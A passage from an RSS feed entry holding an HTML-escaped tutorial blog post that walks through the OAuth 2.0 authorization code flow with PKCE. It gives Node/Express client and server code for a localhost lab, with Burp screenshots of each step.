&lt;strong&gt;Without PKCE:&lt;/strong&gt; A hacker could intercept the &lt;code&gt;code&lt;/code&gt; from the browser and use it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;With PKCE:&lt;/strong&gt; Even if they steal the &lt;code&gt;code&lt;/code&gt;, they can't use it because they don't have the &lt;code&gt;code_verifier&lt;/code&gt; hidden inside the app's memory.&lt;/li&gt;
&lt;/ul&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpitetkxrzc61cwax9p05.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpitetkxrzc61cwax9p05.png" alt="uml diagram showing the client_app and server interaction" width="800" height="660"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Step 1: The Setup (Client App Internal)
&lt;/h3&gt;

&lt;p&gt;Before any request is made, the Client App prepares a "secret handshake."&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Functionality:&lt;/strong&gt; The client generates a &lt;code&gt;code_verifier&lt;/code&gt; (a random string) and a &lt;code&gt;code_challenge&lt;/code&gt; (a hash of that string).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Purpose:&lt;/strong&gt; To prove later that the app that started the login is the same one that finishes it.&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// Step 1: The Setup (Client App Internal)

// Helper: Generate a random string for PKCE
const generateRandomString = () =&amp;gt; crypto.randomBytes(32).toString('hex');

// Helper: Hash the string for PKCE (S256)
const generateCodeChallenge = (verifier) =&amp;gt; {
    return crypto.createHash("sha256").update(verifier).digest("base64url");
};
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Step 2: The Authorization Request (Frontchannel)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Endpoint:&lt;/strong&gt; &lt;code&gt;GET http://localhost:4000/authorize&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The Request:&lt;/strong&gt; The browser is redirected from the Client to the Auth Server with parameters like &lt;code&gt;response_type&lt;/code&gt; ,&lt;code&gt;client_id&lt;/code&gt;, &lt;code&gt;redirect_uri&lt;/code&gt;, and the &lt;code&gt;code_challenge&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Functionality:&lt;/strong&gt; The Auth Server checks if the &lt;code&gt;client_id&lt;/code&gt; exists and if the &lt;code&gt;redirect_uri&lt;/code&gt; is on the pre-approved "Allowlist."&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Storage:&lt;/strong&gt; The Server generates a temporary &lt;code&gt;authorizationCode&lt;/code&gt; and saves the &lt;code&gt;code_challenge&lt;/code&gt; in its &lt;code&gt;Map&lt;/code&gt;, linked to that code.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F86118yg3rbmxj39z14la.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F86118yg3rbmxj39z14la.png" alt="The Authorization Request shown in burp" width="800" height="444"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;client_app&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// Step 2: The Authorization Request (Frontchannel)
app.get("/login", (req, res) =&amp;gt; {

    // 1. Create PKCE Verifier and Challenge
    currentVerifier = generateRandomString();
    console.log("verifier :" + currentVerifier)
    const challenge = generateCodeChallenge(currentVerifier);
    console.log("code challenge :" + challenge)

    // 2. Build the Auth Server URL
    const authUrl = `${AUTH_SERVER_URL}/authorize?` +

        `response_type=code&amp;amp;` +  // specifying the grant type
        `client_id=${CLIENT_ID}&amp;amp;` +
        `redirect_uri=${encodeURIComponent(REDIRECT_URI)}&amp;amp;` +
        `code_challenge=${challenge}&amp;amp;` +
        `code_challenge_method=S256`;

    // 3. Send user to the Auth Server
    res.redirect(authUrl);
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;server&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;app.get("/authorize", (req, res) =&amp;gt; {

const {
response_type,
client_id,
redirect_uri,
code_challenge, //the hashed code challenge
code_challenge_method // specification of the hash used
} = req.query;

// 1. Validate response type
if (response_type !== "code") {
    return res.status(400).send("Unsupported response_type");

};

// 2. Validate client
const client = clients[client_id];

if (!client) {
    return res.status(400).send("Invalid client_id");
};

// 3. Validate redirect URI
if (!client.redirectUris.includes(redirect_uri)) {
    return res.status(400).send("Invalid redirect_uri"); // checking the redirect uri against the allow list
};

// 4. Enforce PKCE
if (!code_challenge || code_challenge_method !== "S256") {
    return res.status(400).send("PKCE required");
};

// ---- Fake login success ----
const authorizationCode = crypto.randomBytes(32).toString("hex"); // Think of this as a "Claim Ticket" a user gives you. It proves that the user just logged in and gave you permission.
console.log("authorization code :" + authorizationCode + " for client : " + client_id);

authorizationCodes.set(authorizationCode, {
client_id,
redirect_uri,
code_challenge
});

// Redirect back to client

const redirectUrl = `${redirect_uri}?code=${authorizationCode}`;
res.redirect(redirectUrl);

});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;side note :&lt;/em&gt; so here is a fun fact about the request to &lt;code&gt;app.get("/authorize")&lt;/code&gt; so at first I thought we should use the &lt;em&gt;post method&lt;/em&gt;  here but turned out standard APIs usually use &lt;code&gt;POST&lt;/code&gt; for creating data, but the OAuth 2.0 specification (RFC 6749 section 3.1) actually &lt;strong&gt;requires&lt;/strong&gt; the &lt;code&gt;/authorize&lt;/code&gt; endpoint to support the &lt;strong&gt;&lt;code&gt;GET&lt;/code&gt;&lt;/strong&gt; method for multiple reasons (mainly because it's a redirect) .&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: The Code Delivery (Frontchannel)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Endpoint:&lt;/strong&gt; &lt;code&gt;GET http://localhost:3000/callback&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The Request:&lt;/strong&gt; The Auth Server redirects the user’s browser back to the Client’s callback URL, attaching the &lt;code&gt;code&lt;/code&gt; in the URL.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Functionality:&lt;/strong&gt; The Client App catches this code from the URL.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Security Note:&lt;/strong&gt; At this point, the Client has the &lt;strong&gt;Code&lt;/strong&gt;, but it doesn't have a &lt;strong&gt;Token&lt;/strong&gt; yet.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;as shown in the response section of the &lt;em&gt;The Authorization Request&lt;/em&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiwinp3jl6v3b1z90p6gp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiwinp3jl6v3b1z90p6gp.png" alt="The Authorization Request" width="800" height="270"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;at this point we finished the front channel section of the uml diagram :&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fecvycrcb9fui8h9gy8mk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fecvycrcb9fui8h9gy8mk.png" alt="front channel section" width="800" height="353"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4: The Token Exchange (Backchannel)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Endpoint:&lt;/strong&gt; &lt;code&gt;POST http://localhost:4000/token&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The Request:&lt;/strong&gt; The Client App sends a direct "Backchannel" POST request to the Server containing the &lt;code&gt;code&lt;/code&gt; and the original &lt;code&gt;code_verifier&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Functionality:&lt;/strong&gt; &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The Server retrieves the saved &lt;code&gt;code_challenge&lt;/code&gt; from its &lt;code&gt;Map&lt;/code&gt;. &lt;/li&gt;
&lt;li&gt;It hashes the &lt;code&gt;code_verifier&lt;/code&gt; sent by the client. &lt;/li&gt;
&lt;li&gt;If &lt;code&gt;Hash(verifier) === challenge&lt;/code&gt;, it proves the request is legitimate.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Cleanup:&lt;/strong&gt; The Server &lt;strong&gt;deletes&lt;/strong&gt; the code from its &lt;code&gt;Map&lt;/code&gt; (making it single-use).&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;app.get("/callback", async (req, res) =&amp;gt; {
const { code } = req.query;
if (!code) return res.send("No code received from Auth Server.");

try {

// 4. Exchange the Code for a Token
// We send the 'currentVerifier' that we saved earlier
const response = await axios.post(`${AUTH_SERVER_URL}/token`, {
    grant_type: "authorization_code",
    code: code,
    redirect_uri: REDIRECT_URI,
    client_id: CLIENT_ID,
    code_verifier: currentVerifier
}

// uncomment if you want to see the request using a proxy
// ,{
// proxy: {
// protocol: 'http',
// host: '127.0.0.1',
// port: 8080
// }}
);
const { access_token } = response.data;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;*side note: some of you might be wondering why are we sending different grant_type parameters (response_type, grant_type) so here is an explanation of the difference :&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;response_type&lt;/code&gt;&lt;/strong&gt;: Tells the server what to send back to the &lt;strong&gt;user's browser&lt;/strong&gt; (a "code" or a "token").&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;grant_type&lt;/code&gt;&lt;/strong&gt;: Tells the server what credentials the &lt;strong&gt;Client App&lt;/strong&gt; is presenting to the private API (an "authorization_code", a "password", etc.). &lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;the request won't normally show because it is not supposed to (we don't want the verifier to show ), we used &lt;strong&gt;axios&lt;/strong&gt; as shown in the code to make the call  (which creates a direct TCP connection from the terminal process to port 4000.)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdrc3hg5tyku3u824i93h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdrc3hg5tyku3u824i93h.png" alt="The Backchannel request" width="788" height="535"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 5: The Response (Backchannel)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Response:&lt;/strong&gt; &lt;code&gt;200 OK { "access_token": "..." }&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Functionality:&lt;/strong&gt; The Server sends the &lt;code&gt;access_token&lt;/code&gt; back to the Client.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt; The Client App now has a valid token to make API requests, and the user is officially "logged in."&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;as shown in the response section:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffhj3r5hqg49omrjhtws9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffhj3r5hqg49omrjhtws9.png" alt="Access Token" width="800" height="270"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;here is link to the full code : github.com/aligotmelody/Oauth_lab&lt;/p&gt;

</description>
      <category>security</category>
      <category>tutorial</category>
      <category>webdev</category>
    </item>
  </channel>
</rss>
